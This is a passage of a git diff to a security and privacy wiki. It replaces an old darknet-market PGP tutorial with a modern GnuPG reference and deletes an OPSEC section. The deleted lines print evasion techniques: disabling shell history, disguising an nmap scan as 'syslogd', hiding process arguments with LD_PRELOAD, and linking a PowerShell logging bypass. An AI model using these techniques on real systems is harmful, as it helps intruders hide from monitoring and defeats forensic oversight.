+* [Gpg4win](https://www.gpg4win.org/) - Windows OpenPGP tooling. +* Prefer OpenPGP signatures and SHA-256 or stronger hashes. +* Treat MD5 and SHA-1 as legacy integrity checks, not secure verification. {% content-ref url="pgp-guide.md" %} [pgp-guide.md](pgp-guide.md) {% endcontent-ref %} -
- -Command Line HIstory - -* Disable PS logging - * [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) - -- **.i. Leave Bash without history:** +## Offensive OPSEC and Evasion - Tell Bash to use _/dev/null_ instead of _\~/.bash\_history_. This is the first command we execute on every shell. It will stop the Bash from logging your commands. +Command-history hiding, log tampering, process masquerading, PowerShell logging bypasses, and similar material belong in Red Offensive and should only be used in explicitly authorized labs or engagements. - ``` - export HISTFILE=/dev/null - ``` - - It is good housekeeping to 'commit suicide' when exiting a shell: - - ``` - alias exit='kill -9 $$' - ``` - - Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either. - - ``` - $ id - ``` - - **1.ii. Hide your command** - - ``` - /bin/bash -c "exec -a syslogd nmap -T0 10.0.2.1/24" - # or starting as a background process: - exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log & - ``` - - Alternatively if there is no Bash: - - ``` - cp `which nmap` syslogd - PATH=.:$PATH syslogd -T0 10.0.2.1/24 - ``` - - In this example we execute _nmap_ but let it appear with the name _syslogd_ in _ps alxwww_ process list. - - **1.iii. Hide your arguments** - - Download [zap-args.c](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/src/zap-args.c). This example will execute _nmap_ but will make it appear as 'syslogd' without any arguments in the _ps alxww_ output. - - ``` - gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl - LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24 - ``` - -
+{% content-ref url="../red-offensive/testing-methodology/post-exploitation/defense-evasion.md" %} +[defense-evasion.md](../red-offensive/testing-methodology/post-exploitation/defense-evasion.md) +{% endcontent-ref %} -{% embed url="https://youtu.be/TgquV_OA-lU" %} +{% content-ref url="../red-offensive/testing-methodology/lateral-movement.md" %} +[lateral-movement.md](../red-offensive/testing-methodology/lateral-movement.md) +{% endcontent-ref %} diff --git a/grey-privacy-tor-opsec/pgp-guide.md b/grey-privacy-tor-opsec/pgp-guide.md index 93dfcac..8f0dead 100644 --- a/grey-privacy-tor-opsec/pgp-guide.md +++ b/grey-privacy-tor-opsec/pgp-guide.md @@ -1,275 +1,153 @@ +--- +description: Maintained OpenPGP/GnuPG reference for key generation, encryption, signatures, and verification. +--- + # PGP Guide {% embed url="https://youtu.be/CEADq-B8KtI" %} -## General PGP Opsec - -* Sometimes when you inport a public PGP key, it will reach out to PGP servers to validate the key, if setup to do so. -* Be wary of this if using you own host machine. Catch with Snitch program. -* Again, do not use your host device to manage the PGP keys. -* The start of pgp messages will detail the OS that created it -* PGP key scrubbing - * \#gpg --encrypt --armor --no-comments --no-emit-version -r KEY -* Ensure you put the date in the message and the reason for the signed pgp message to ensure you dont get impersonated on other forums -* Verify signed pgp message - * gpg --verify - * paste the whole signed PGP mesage - * CTRL+D - -• _**Back up your pgp key ring\***_ - -### Importing public PGP keys - -* When you have recieved a new public key, you should import it on to your keyring - * \#gpg --import - * paste whole key - * CTRL+D - * Should display "key XXXXXXXXXXX: ‘username’ imported -* To use the imported key ◇ gpg --encrypt --armor -r XXXXXXXXXX - * Type out your message and hit CTRL+D when done to produce the encrypted pgp message - -### Encrypting messages - -\#gpg --encrypt --armor -r KEY - -### Decrypting messages - -* \#gpg -d \ -* enter passphrase - -## Key Generation - -Generating a Keypair Before we can encrypt a message, we are going to need to generate a keypair. To do this, enter the following command: - -gpg --gen-key The following text will then be prompted:gpg (GnuPG) 2.0.26; Copyright (C) 2013 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. - -Please select what kind of key you want: (1) RSA and RSA (default) (2) DSA and Elgamal (3) DSA (sign only) (4) RSA (sign only) Your selection? 1 The main difference between RSA & DSA and Elgamal is the underlying mathematical principles, for this guide we'll be using RSA. Enter 1 and hit enter. Next prompt:RSA keys may be between 1024 and 4096 bits long. What keysize do you want? (2048) 4096 Use of 4096 for the added security. Next prompt:Please specify how long the key should be valid. 0 = key does not expire = key expires in n days w = key expires in n weeks m = key expires in n months y = key expires in n years Key is valid for? (0) 1y In the world of privacy, permanent anything is usually looked down upon, so I would recommend setting some length of time. For this tutorial my key will last for 1 year. To do this I enter 1y. Next prompt:Key expires at 12/12/15 Is this correct? (y/N) y I entered y, as it was the correct amount of time. The next prompt will ask for each of the following one at a time. The only field you actually need to fill out is real name. In that category put whatever you want. The Email address and comment are optional.GnuPG needs to construct a user ID to identify your key. - -Real name: WhatEverNameYouWant Email address: Comment: You selected this USER-ID: "WhatEverNameYouWant" - -Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O Modification options are given, but I'm satisfied with my entry, so I entered O to progress further.You will then be presented with a prompt to enter a passphrase. Pick a good one and move on. You will then be presented with the following message:We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key CA637B79 marked as ultimately trusted public and secret key created and signed. - -Basically hit a bunch of keys on your keyboard, and click around a bit until it finishes generating random information. Once done, you should receive some form of confirmation, and return to the console. At this point you will have successfully generated a keypair that can be used to encrypt and decrypt messages. - -## Editing Keys - -If you want to edit any key attributes, run the following command: - -gpg --edit-key WhatEverNameYouWant - -The following will then appear: gpg (GnuPG) 2.0.26; Copyright (C) 2013 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. - -Secret key is available. - -pub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: SC trust: ultimate validity: ultimate sub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: E \[ultimate] (1). WhatEverNameYouWant - -gpg> You can obtain a list of editing options by running the command "help"gpg> help - -* quit - quit this menu -* save -save and quit -* help - show this help -* fpr - show key fingerprint -* list -list key and user IDs -* uid - select user ID N -* key - select subkey N -* check - check signatures -* sign - sign selected user IDs \[\* see below for related commands] -* lsign - sign selected user IDs locally -* tsign - sign selected user IDs with a trust signature -* nrsign - sign selected user IDs with a non-revocable signature -* adduid - add a user ID -* addphoto - add a photo ID -* deluid - delete selected user IDs -* addkey - add a subkey -* addcardkey - add a key to a smartcard -* keytocard - move a key to a smartcard -* bkuptocard - move a backup key to a smartcard -* delkey - delete selected subkeys -* addrevoker - add a revocation key -* delsig - delete signatures from the selected user IDs -* expire - change the expiration date for the key or selected subkeys -* primary - flag the selected user ID as primary -* toggle - toggle between the secret and public key listings -* pref - list preferences (expert) -* showpref - list preferences (verbose) -* setpref - set preference list for the selected user IDs -* keyserver - set the preferred keyserver URL for the selected user IDs -* notation - set a notation for the selected user IDs -* passwd - change the passphrase trust change the ownertrust -* revsig - revoke signatures on the selected user IDs -* revuid - revoke selected user IDs -* revkey - revoke key or selected subkeys -* enable - enable key -* disable - disable key -* showphoto - show selected photo IDs -* clean - compact unusable user IDs and remove unusable signatures from key -* minimize - compact unusable user IDs and remove all signatures from key -* The `sign' command may be prefixed with an`l' for local signatures (lsign), - - a `t' for trust signatures (tsign), an`nr' for non-revocable signatures - - (nrsign), or any combination thereof (ltsign, tnrsign, etc.). - -gpg> As an example, I'll show you how to edit the trust of a key. Start by running the "trust" command:gpg> trust Here is the output:pub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: SC trust: marginally validity: marginally sub 4096R/(Expunged) created: 2014-12-25 expires: 2015-12-25 usage: E \[ultimate] (1). WhatEverNameYouWant - -Please decide how far you trust this user to correctly verify other users' keys (by looking at passports, checking fingerprints from different sources, etc.) - -1 = I don't know or won't say 2 = I do NOT trust 3 = I trust marginally 4 = I trust fully 5 = I trust ultimately m = back to the main menu - -Your decision? 5 I created the key, so there's no reason other than to trust it to its fullest extent, therefore I selected 5.Do you really want to set this key to ultimate trust? (y/N) y - -pub 4096R/(Expunged) created: 2014-12-12 expires: 2015-12-12 usage: SC trust: ultimate validity: ultimate sub 4096R/(Expunged) created: 2014-12-12 expires: 2015-12-12 usage: E \[ultimate] (1). WhatEverNameYouWant - -## Import/Export - -Exporting and Importing Keys At this stage you now have your own keypair; the next step is to retrieve your public key so you can distribute it for others to use when messaging you. In this tutorial, we created a user under the ID of WhatEverNameYouWant. This is the ID which I shall use. To print the key, enter the following command: - -gpg --armor --export WhatEverNameYouWant where WhatEverNameYouWant is the ID or Email picked when creating the keypair. This will print the public key to the console screen: - -\-----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v2 - -KEY GOES HERE - -\-----END PGP PUBLIC KEY BLOCK----- - -If you want it instead to save it to a file the following command can instead be entered:gpg --armor --output myPubKey.asc --export WhatEverNameYouWant Where myPubKey.asc is the name and directory path of the file to save it to. This can be opened with a text editor, and the public key can be copied.Alternatively, you can use a single bracket redirect character to funnel the output of a command into a file:gpg --armor -export WhatEverNameYouWant > myPubKey.asc The result is the same._LINUX TIP_ The ">" character redirects stdout (standard out-- what would normally be printed on the screen), and overwrites the file placed to the right of the character. If no such file exists, it is created. If the file does exist, it will be overwritten, and the previous information that it contained will be lost. To export your private key, you will enter the following command:gpg --armor --export-secret-keys WhatEverNameYouWant This will print an output to the console resembling this: - -\-----BEGIN PGP PRIVATE KEY BLOCK----- < - -\> -----END PGP PRIVATE KEY BLOCK----- - -To export to a file, use either the "--output" or the ">" character methods outlined above.As a reminder, do not EVER share your private key with anyone. The only time you should be exporting your private key is when creating a back up.Importing a KeyTo encrypt a message for someone, you're going to need to import their public key. For this tutorial I will be importing the public key provided on Agora's help and info page. You are more than welcome to import the public key displayed earlier. To import a key from a file:gpg --import path/to/pubkey.asc where pubkey.asc is the file where you saved the public key you want to import. Here's the output you should receive:gpg: key (Expunged): public key "Agora One" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) And that's it, you can now write messages using the key imported.The Fileless MethodTo import a key directly, without the use of a file, you can use either the "cat" command, or "echo" along with a pipe character "|".Using "cat":cat < You can now paste the public key block from your clipboard. Hit enter to move to the next blank line if you are not already there, and type "END."cat <\ \-----BEGIN PGP PUBLIC KEY BLOCK----- _keyblock removed to reduce page length_ -----END PGP PUBLIC KEY BLOCK----- END Hit "Enter" once more and the command is completed. The output:gpg: key 0B701872: public key "Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun)" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) To accomplish the same task using the "echo" command, the syntax is as follows:echo "" | gpg --import Note the use of the quotation marks. If you attempt to run the echo command without quotation or tick marks, bash will attempt to interpret each line of the key you paste as a command the second you paste it in. When using this method, I always use double quotes, as I have run into some random cases where single quotes (or ticks) caused unexpected behaviour.echo "-----BEGIN PGP PUBLIC KEY BLOCK----- _keyblock removed to reduce page length_ -----END PGP PUBLIC KEY BLOCK----- " | gpg --import The output is the same as the other methods:gpg: key 0B701872: public key "Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun)" imported gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) - -_LINUX TIP_ The "echo" command allows the user to input a string, which is then sent to stdout. Just like in the cat example, the pipe character turns the output from the "ech"o command on the left into and input for the "gpg" command on the right. - -## Encrypting a Message - -Once you have imported someone else's public key, you can encrypt a message. For this tutorial, I will use the text Hello World! and place it into file myMessage.txt . Now that we have a file with a message in it, enter the following command: - -gpg --armor --output encMessage.asc --encrypt myMessage.txt where myMessage.txt is the name of the file you are encrypting. Throughout this tutorial, there has been use of other parameters before encrypting the message. Let's take a minute and examine the parameters set forth. Notice that we use --encrypt and then the file name to specify the file to encrypt, but there are a few other parameters not fully described.--armor tells the program to use ASCII armor, this makes GnuPG encrypt the data in the file so it can be copied and pasted via text characters.--output enables the user to specify a name and location of the output file, where encMessage.asc is the desired name of the output file.So once that command is input, the user will be prompted to enter a recipient. As seen earlier, the user ID for Agora was Agora One. So that is what I entered. Alternatively, the user's email can also be entered. After that, I simply hit enter to confirm no other recipients.This is what the console looked like:You did not specify a user ID. (you may use "-r") - -Current recipients: - -Enter the user ID. End with an empty line: Agora One gpg: (Expunged): There is no assurance this key belongs to the named user - -pub (Expunged)/(Expunged) Agora One Primary key fingerprint: (Expunged) Subkey fingerprint: (Expunged) - -It is NOT certain that the key belongs to the person named in the user ID. If you _really_ know what you are doing, you may answer the next question with yes. - -Use this key anyway? (y/N) y - -Current recipients: (Expunged)/(Expunged) "Agora One" - -Enter the user ID. End with an empty line: I just added this key from agora, so I am well aware that it is the actual user ID, therefore I can trust it, and input y and preceded on. Needing no other recipients, I simply hit enter and let the program compile an encrypted message.Upon completion, the file encMessage.asc was generated. When opened with a text editor, the PGP message was shown. This is the message which I would send to the recipient, in this case it would be the Agora staff.The same task can be achieved without writing the output to a file by using the "cat" or "echo" command methods outlined above.Using cat:cat <\ Hello World! END gpg: 32E3AC7F: There is no assurance this key belongs to the named user +PGP/OpenPGP is still useful for signing, encryption, file verification, and key continuity, but old darknet-market examples and GnuPG 2.0 transcripts age badly. This page is the maintained reference; the Jolly Roger page remains an untouched historical archive. -pub 4096R/32E3AC7F 2018-09-07 Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun) Primary key fingerprint: 4EAD DF75 A81F 1903 303F C7B2 9479 D2AC 0B70 1872 Subkey fingerprint: 4378 37D6 13E4 3AED 0F25 CFA0 20BB 05A5 32E3 AC7F +## Core Guidance -It is NOT certain that the key belongs to the person named in the user ID. If you _really_ know what you are doing, you may answer the next question with yes. +* Prefer current GnuPG documentation and maintained platform docs over old forum workflows. +* Do not generate or store sensitive keys on an untrusted host. +* Verify key fingerprints through a separate trusted channel before trusting a public key. +* Protect the private key and maintain an offline backup of your key material and revocation certificate. +* Add dates, context, and purpose to signed messages so a valid signature cannot be easily replayed out of context. +* Use SHA-256 or stronger hashes and OpenPGP signatures for verification. MD5 and SHA-1 are legacy-only for security purposes. +* Use `--no-comments` and `--no-emit-version` when you do not want GnuPG version comments included in armored output. -Use this key anyway? (y/N) y -----BEGIN PGP MESSAGE----- +## References -hQIMAyC7BaUy46x/ARAAmEmI28SlznRZG3e76AUWGHyeW+SwqQWfXGOljYBjHTLv 6nvV8+brrEIiIRGOT++s7jpTwYrowcP4h9EHNpId9vJ5bfGJUFPXcX3UPBkEG8Dt e8FVdJa4T11yk0pot96jbmVnHKVMbsFVoescIsrUD8+N3y+Gax/RrOEY16SlqG5p RBWChGLKwb04+KZWIwVRbrYwWU7Xiu/8A1T6tP/7CB7c9kegLrgusWWZ3evPLYcp gYgJpuZfK5jvfasHOU3KrF80fR71xkeSocrl3IRuGRwl+s1kqsOkX6II2vPsm8Ut 0xG7ySF1d6QLz1CJ3A4EV/n56rJVs1qAHx0B3OyMvwmMPoPHFiaiErfYqb7UnP73 EcvZNpD19mLgKdM7qrYtdUIvYBn6dTlt5yPiES87Fk5yTLWW+HeBBkLL+ZuI3mnF 0KUYVeuFBmGs96QhyZmKmnH/F0HDjECW0KnB+rZkFEXMzh3yHhoE5Du34UUHnUI0 GTDp854FWSMm8DTtCYtywx2YMS+FuglhytCjNfEmdoszg+SoH3K3xqR9O9FoZjFa q/TwhUPvTSM8sWkAEf37QhR6b52giaGItVK8RG50e813hW9ncINQDwF9a4kqZ5PS BMrK5bv3suPzcpOl+ZpsRDSofnjnWQK9HLHWBEyf5vGaHNLeG7iTIVjHa/igP4zS SAF9hMhPFa5rq+NsBuSlTF2oi0fazG1ctGR2HhL6WBRckroVwsZ4v3CKmuBuk69J AhSsJnbOT1hPmLPPU7FK6szH2dBumuOQuA== =DP51 -----END PGP MESSAGE----- +* [GnuPG manual](https://gnupg.org/documentation/manuals/gnupg/) +* [GnuPG getting started](https://gnupg.org/gph/en/manual.html) +* [Tails OpenPGP and encryption documentation](https://tails.net/doc/encryption_and_privacy/) +* [EFF Surveillance Self-Defense: PGP](https://ssd.eff.org/) +* [Gpg4win](https://www.gpg4win.org/) - Windows OpenPGP distribution. -_LINUX TIP_ Note that all of the longhand flags preceded by a double dash "--" (--encrypt, --armor, --recipient) can be shortened to single character flags preceded by a single dash "-" (-e, -a, -r). These single character flags can then be combined into one flag representing a combination of single character flags, -ear. Most commands have both short and longhand flags, which can be found using "\[command] --help" or by pulling up the command manual with "man \[command]" Be aware though, some programs have strict enforcement over the order of flags delivered. Check the help or manual pages for whatever program you are using for more information.Using echo:echo "Hello world" | gpg -ear Mun gpg: 32E3AC7F: There is no assurance this key belongs to the named user +## Generate a Key -pub 4096R/32E3AC7F 2018-09-07 Mun Mun Mun [munmunmun@mun.mun](mailto:munmunmun@mun.mun) Primary key fingerprint: 4EAD DF75 A81F 1903 303F C7B2 9479 D2AC 0B70 1872 Subkey fingerprint: 4378 37D6 13E4 3AED 0F25 CFA0 20BB 05A5 32E3 AC7F +Modern GnuPG uses `--full-generate-key` for the interactive flow. -It is NOT certain that the key belongs to the person named in the user ID. If you _really_ know what you are doing, you may answer the next question with yes. +```bash +gpg --full-generate-key +``` -Use this key anyway? (y/N) y -----BEGIN PGP MESSAGE----- +Recommended defaults for most users: -hQIMAyC7BaUy46x/AQ//W2FukPjZr51RWhtdVSkQWj7hGijey7dwwoVQvXP4wpBx H6rRiCTulwvBAA5IEG/fxQoDXw/k2KDI6IDaTwA277/tewZs0zXI7bUmY54Nh0mU RZMGfSjpU1CDjEAc85d9tdP6jKkunxFnIarjbJkLVjL71AUzRJqNbWZJDLObDmRj R2UfKuLGvtpRbrgsWUiLxXDRbcMb961y+x337So8FP38J6fUOldBj4JfljEt62r7 6cI+WJDDo5wr45uejNP8mqsEyDJz24rRgqoylhKLkyZbKOziryAlMy/Svk+KkwWN GHMI5h/2A619v1Ylj8zQakgdQ7Rq/LiK67ztO5VknAqWUTN1Fvky4TC/+MvkiWqw /PkzTgfXW7v8nAQs5ZFWNqUh/mvVtvKKllsTCxGOhnBwxRDO+RWq86pE693uQTzD WzjzfAOEkMtntnDMWUKtHX8jo/XWAESl6TDgyi3AGZYerA/mfNHmF+txRWlW4Hd0 pnDYjah+aKlA6Y4Mi/G4cn6C9nAf8K62JpnQx+6ze9L4/liVQFiyuBAdXWcVv66o EMQZMm8n+2T/Y62B5sNsJofK/yyIc9KhGjFcvNX89YHigfpCBVtR6qOR0YudrFNE 9Azoz/kfX+dYxPdNKr34R1125QRCJuwYhEPDiuYAr3E+IFAtRK0SZ08+pTQMQePS RwFtqXRS1vzv3rYpS7PF/7jHet8yCxNWfsSIce+nv6IcsHVYdry3ZkJh3rw5RoXy 1/t1ESI6kKZ6EFFAszF6hgnAQHNRMW2T =feuT -----END PGP MESSAGE----- +* Use RSA/RSA or the current GnuPG default unless you have a specific key-type requirement. +* Use a strong passphrase. +* Set an expiration date so old keys age out naturally. +* Create and protect a revocation certificate. -Note that when using echo, you can use "SHIFT+ENTER" to jump to a new line. You might opt to type your messages in a more user-friendly text editor, and then paste them into the console if formatting is a concern.===Decrypting a message===So at this stage you can now generate your own keys, and send messages to others using their keys. The only thing left is to decrypt a message when a user messages you. This is the text Hello World! when encrypted using the WhatEverNameYouWant public key:-----BEGIN PGP MESSAGE----- Version: GnuPG v2 +List keys and fingerprints: -hQIMA0O56MNiiHV5AQ//WLFKdMBF0a5vuW9EoNbWvS656cPBvKHiEBT7ygtvHLfM DS7hDzp+F7gqImm3Ql3be5o+7QNHDIRWdEiZ2SR3NopHyRYHEA9k3G+d33qV/Ykz su8qqxUm7Y3UKtf2nKpY3jRPml5Stm8QtwaznARH6tPqzHCh69f7Uz40pwpbl53v kpTOKcjYAwI5rC/k4GNgGj3luhEgzha13j7VXDl9zaXK78NaBQCBqUUJbtPG3jmv vZRLvvgMPxbSuyyYPNbXoNkvImNfP4UdD4KSBRHq2LiSDkkyJqXZJ2ZrP7j3gE/4 rJ2hiUeJLQpDE51CEpGY0lfJIFz7JbIv+V3CNqkJOR/2TtqZhjkp4gLFgVPNpolf mVoTG0eOZjieP9d56cPVEW3uEpc4CvtqDHIRQeEBMgPVQeKTL+iTk8Zq02Bg6C0l 8ITh/ekhiweD5jBbC0to7PCHFMH4TJklnRrmzl2ykNzcB6RR1QJgk9EceE/vxYEB Y2FFqTUcbzZRi4hpCbfqgDZDgG9SbUgkDmWLV0OuQ/iGZJiu7wyI4KiXl9BSoY7q NrMjhvOBUNFIn7FoquxH9c+ETUFnchm9y9Cu3+RzA8eqqJF+sCrCXokLE/J6aRrW zq0FlK4lzpFMHSYWpt7CDJh5uIe6zxyzPDN2vUAbGAzW8mLaA5IEKLH2yHJehcrS VAHd/9l3vKzweZdugQVAloTBMdX06YZBlhuBQl19br1SGiFTk+TeiyykQCqrWHYt bDoXB1S9BX8ux8RRSi53Y9xVN0/EA5pYJpzx8geJ0NikFeAFSQ== =gL3V -----END PGP MESSAGE----- +```bash +gpg --list-keys --fingerprint +gpg --list-secret-keys --fingerprint +``` -## Decrypting Messages +## Export and Back Up Keys -Decrypting this is a relatively painless and simple process. First I saved the message to a text file titled myEncMessage.asc. Once there I entered the following command:gpg --decrypt myEncMessage.asc where myEncMessage.asc is the name of the file with the message in it. This command will have it output the message into the console, if you want it to be placed into a file instead, use the following command:gpg --output myDecMessage.txt --decrypt myEncMessage.asc Where myDecMessage.txt is the name of the file to export the message to.Alternatively, you can direct the output by using a ">" character:gpg --decrypt myEncMessage.asc > myDecMessage.txt The decryption process requires accessing the private key; for this reason, you must provide the password you created when generating the keypair. During the process a prompt will appear, fill in the password and it will decrypt. Here is the output of the command with no output file specified:You need a passphrase to unlock the secret key for user: "WhatEverNameYouWant" 4096-bit RSA key, ID , created 2014-12-12 (main key ID) +Export a public key: -gpg: encrypted with 4096-bit RSA key, ID , created 2014-12-12 "WhatEverNameYouWant" Hello World! Notice how a recipient is never specified, this is because the ciphertext can be linked to a key automatically. If the user has a message and the appropriate key to decipher it, GnuPG will find it on it's own.To decrypt a message without saving the ciphertext to a file, use the "cat" or "echo" methods outlined above:cat <\ public-key.asc +``` -> PASTE CIPHERTEXT HERE END ORecho "PASTE CIHPER TEXT HERE" | gpg -d +Export a private key only for offline backup: -You may notice that I used the shorthand "-d" in place of --decrypt. +```bash +gpg --armor --export-secret-keys "Name or key ID" > private-key-backup.asc +``` -## PGP Signatures +Create a revocation certificate: -Signatures and Verification When sending a message to someone, you know that only the person in control of that key will be able to read it, because they should be the only one with with the private key associated with the public key you encrypted to, and therefore are the only one able to decrypt the message. So how do we verify that a specific party wrote, sent, or posted a message? This is where signatures come in. +```bash +gpg --output revoke.asc --gen-revoke "Name or key ID" +``` -Signing messages is way for the originator of a message to prove that the message was created by them, assuming that they are in control of their key. They generate a signature hash around a message that can be verified by anyone with their public key. +## Import Public Keys -There are three common scenarios for the use of clearsigning: 1). Establishing PGP key lineage. When your current key is set to expire, you might sign a message containing your new key with your old key. 2). Important announcements from administrators, developers, or vendors. 3). Proving account ownership. +Import from a file: -### Clearsigning +```bash +gpg --import public-key.asc +``` -Here are a few examples from opie\_ on clearsigning messages, keys, and verifying keys using the "cat" command. The same can be done using the "echo" method, or by saving text to files and reading or writing from the file. +Import pasted armored text safely from a file or heredoc: -cat <\ Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! END Output:-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 +Set trust only after independently verifying the fingerprint: -Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! -----BEGIN PGP SIGNATURE----- +```bash +gpg --edit-key "Name or key ID" +gpg> fpr +gpg> trust +``` -iQIzBAEBCgAdFiEEBHRN9HAfZ1F/IBCZMBbTaXgXIagFAlwFh7gACgkQMBbTaXgX IahW3g/+LIda/IPTcXqgG5sMbUjUe1Et3IHzc4GwxQUcnTa2HtPFNfQWZEe+AiPt uiZdz6E7+3npndK8ZEnwZCbt4k1+e++EozHKWObCyQUdfi3aY/79tsbCCJc76Bao S1dEiD6cRUTalsg61AbnrYucvA6a9xiLqyzjlWJolBRPOxj4LJi+iJtWcc83Jp8B Doec+Lfgo/IGO7u+CZj2IJ2kK1FGQIcWk4IqRiWTXIbYKo48QxpUqjOadnBfiJ7s CfF1EAo5qcffu3J+o/453FjChVOWTeKdSdchlksqcm/THS0KF4ZuKuI3J4lUHPRr KrB+InJyGq/7AF5x/AwqPnYUPmX9P12d+PYCEFMXif2X2yVRL5S2VROfSHU4TZRQ juAV+z4xJXNRskYl2ZbFOhTlu8OkpQfHcaliUfzZTCjDU4ZtLdzKq6bMOZ7A1NhL T19kOhJb/G61RPkiy13/S7Cp2cpD+0W25ce1E3GOXaRcUDJAGqToIXR2WbCgFgmW KvEzg8M55xOu4ssUkfDHEz9KTjGb375tNMTTkRs6BIFjKsfNvdG7ufgvRnMNWNHA xY/7qLB9ijrXqQ3CilgwxfnKLscFjoTuvrcXgsondIJnmyx77/57dgeNWx4MN6Zt Nzima96VFmGTuooE3QZb1eL84bSArilvrB8uCGCkDI35pQeevvg= =1VrI -----END PGP SIGNATURE----- +## Encrypt and Decrypt Messages -You can also nest piped commands to clearsign and then encrypt a message or vise versa (just switch the placement of the two gpg commands to first encrypt and then sign):cat <\ message.asc +``` - \-----END PGP MESSAGE----- +Decrypt: -Similarly one could also export and sign their public key with one fell swoop:gpg -a --export opie\_ | gpg --clearsign Output:-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 +```bash +gpg --decrypt message.asc +gpg --output message.txt --decrypt message.asc +``` -\-----BEGIN PGP PUBLIC KEY BLOCK----- +For lower-noise armored output: -KEY DATA +```bash +gpg --encrypt --armor --no-comments --no-emit-version --recipient "Recipient key ID" --output message.asc message.txt +``` -\-----END PGP PUBLIC KEY BLOCK----- +## Sign and Verify -\-----BEGIN PGP SIGNATURE----- +Clearsign text: -SIGNATURE DATA +```bash +gpg --clearsign message.txt +``` - \-----END PGP SIGNATURE----- +Create a detached signature: -### Verifying Signatures +```bash +gpg --armor --detach-sign file.zip +``` -What good are signatures if we can't verify them?cat <\ \-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 -> -> Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! -----BEGIN PGP SIGNATURE----- -> -> iQIzBAEBCgAdFiEEBHRN9HAfZ1F/IBCZMBbTaXgXIagFAlwFizIACgkQMBbTaXgX IaiWCBAAmq4vnbHex+6JTuFHYyuhZeoyOQNamBUP1IJqiu1tDYrjAsWPrQdjoZdw kDNE4asN//Y4lnxlbOwKeBFLM+NdIQui2/3ppbWENp9igGXTk8H7ZCOzH/OHgLTi rjZgtVdSVMrWQJKjqeiU7Kr/RvmBk3Gbdy7kUysW9LkfQ1Tu+Bg2NODvMbQoZ2cN SCHs+6rskRNbbKzq/TE2EQCYOubuAwj7tgssVH9ZNlIlDr4z8bxAy1iYF+lzJXG3 UFQldoDZ4d8fqagEVh5PEfHbEy3Wn4ldXgmDcTTDLu1MEnkO7Jy/sxRklMff+lFZ SvKyNnYf/9kyo9KR56KxwmESQPru4cxrXl9KDLly/OyrWFQ27fZRyNg8dZMNuZi2 46pmDFqoCJ/sAp2K97aJKU1PctLy2pnbc4CIIrN0eDhWkV5zOtuLBOtIdgG/ug57 IOG/yTKpUvedOil7J954RI4QEGBgVRufsCLabV3H1S8R1X9UfEWjEnpBZ3tlbY15 KGUptCZ5wjtv8IJPcX25REYBq6xCI7XNiup7YOXDhNpmlKCJMTXDP9A9zn/Q2Vjh Meztnx5P9K51tkhCrj0f43CMyeGV561GuaHBKuXNC9DxO5XPBURcHhIxWE3fJyCP B8rC+4gqItY0bvgqcyYRYDy2+qMirEiUl+mlxgJWFQsPRWLgsvM= =eSMz -----END PGP SIGNATURE----- END Output:gpg: -> -> Signature made Mon 03 Dec 2018 02:59:46 PM EST gpg: using RSA key 04744DF4701F67517F2010993016D369781721A8 gpg: Good signature from "opie\_ [opie@tt3j2x4k5ycaa5zt.onion](mailto:opie@tt3j2x4k5ycaa5zt.onion)" \[ultimate] -> -> Note that if any of the text in the message is changed after the signature is made, it will NOT verify as a "good" signature.cat -> -> <\ -> Hey! Ho! What's goodie? Swiggity Swootie, I'm coming for that booty! -> -> Make sure to send your bitcoins to: -> -> \-----BEGIN PGP SIGNATURE----- -> -> iQIzBAEBCgAdFiEEBHRN9HAfZ1F/IBCZMBbTaXgXIagFAlwFizIACgkQMBbTaXgX IaiWCBAAmq4vnbHex+6JTuFHYyuhZeoyOQNamBUP1IJqiu1tDYrjAsWPrQdjoZdw kDNE4asN//Y4lnxlbOwKeBFLM+NdIQui2/3ppbWENp9igGXTk8H7ZCOzH/OHgLTi rjZgtVdSVMrWQJKjqeiU7Kr/RvmBk3Gbdy7kUysW9LkfQ1Tu+Bg2NODvMbQoZ2cN SCHs+6rskRNbbKzq/TE2EQCYOubuAwj7tgssVH9ZNlIlDr4z8bxAy1iYF+lzJXG3 UFQldoDZ4d8fqagEVh5PEfHbEy3Wn4ldXgmDcTTDLu1MEnkO7Jy/sxRklMff+lFZ SvKyNnYf/9kyo9KR56KxwmESQPru4cxrXl9KDLly/OyrWFQ27fZRyNg8dZMNuZi2 46pmDFqoCJ/sAp2K97aJKU1PctLy2pnbc4CIIrN0eDhWkV5zOtuLBOtIdgG/ug57 IOG/yTKpUvedOil7J954RI4QEGBgVRufsCLabV3H1S8R1X9UfEWjEnpBZ3tlbY15 